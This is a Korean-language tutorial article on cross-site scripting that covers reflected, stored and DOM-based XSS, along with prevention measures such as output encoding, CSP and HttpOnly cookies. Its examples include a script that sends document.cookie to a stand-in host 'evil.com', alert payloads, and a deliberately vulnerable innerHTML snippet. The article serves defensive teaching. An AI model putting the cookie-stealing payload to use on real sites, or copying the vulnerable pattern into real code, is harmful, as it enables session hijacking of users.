XSS(Cross-Site Scripting) 취약점

XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.

1. XSS 취약점 개요

XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.

주로 다음과 같은 상황에서 발생합니다:

  • 사용자 입력을 필터링하지 않고 그대로 HTML에 출력할 때
  • 신뢰되지 않은 데이터를 DOM에 삽입할 때
  • 외부에서 받아온 데이터를 HTML, JavaScript, CSS에 포함시킬 때

2. XSS 취약점 유형별 상세 설명

2.1 Reflected XSS (비저장형 XSS)

정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.

특징:

  • 서버에 저장되지 않음
  • 공격자가 URL에 악성 스크립트를 포함시켜 피해자에게 전달
  • 주로 이메일, 메신저, 게시판 등에서 URL 클릭 유도

예시:

http://example.com/search?q=<script>alert('XSS')</script>

서버가 q 파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.

2.2 Stored XSS (저장형 XSS)

정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.

특징:

  • 서버 또는 DB에 영구 저장
  • 여러 사용자에게 지속적으로 피해를 줄 수 있음
  • 게시판, 댓글, 사용자 프로필 등에서 자주 발생

예시:

<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>

이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.

2.3 DOM-based XSS (DOM 조작형 XSS)

정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.

특징:

  • 서버 응답이 아닌, 클라이언트 JavaScript 처리 과정에서 발생
  • URL 해시, 프래그먼트 등을 통해 자바스크립트가 직접 DOM을 수정할 때 발생

예시 (취약한 코드):

var userInput = location.hash.substring(1);  // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;

해당 페이지 URL에 #<script>alert(1)</script>를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.

3. XSS 방지 방법

  • 사용자 입력에 대한 입력 값 검증(Input Validation) 수행
  • 출력 시 HTML 이스케이프(Output Encoding) 처리 (<&lt;, >&gt; 등)
  • 자바스크립트에서 DOM 조작 시 textContent, innerText 등을 활용
  • HTTP 응답에 Content Security Policy (CSP) 적용
  • 사용자 세션 및 쿠키에는 HttpOnly, Secure, SameSite 속성 지정
  • WAF(Web Application Firewall) 및 보안 스캐너 도입

4. 구성도 예시

XSS 공격 흐름도

[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]

또는, 저장형의 경우:

[공격자 → 게시판에 악성 스크립트 저장]  

[다른 사용자 → 게시판 열람]

[브라우저에서 악성 스크립트 실행]

[세션 탈취, 키로깅, 피싱 등]

5. 정리

  • XSS는 주로 사용자 입력값을 필터링 없이 출력할 때 발생
  • Reflected, Stored, DOM-based의 3가지 주요 유형이 있음
  • 유형에 따라 대응 방법이 다르지만, 공통적으로는 입력 검증 + 출력 인코딩 + CSP 적용이 중요
  • 웹 애플리케이션 개발 시 초기 설계부터 보안을 고려해야 함

Leave a Comment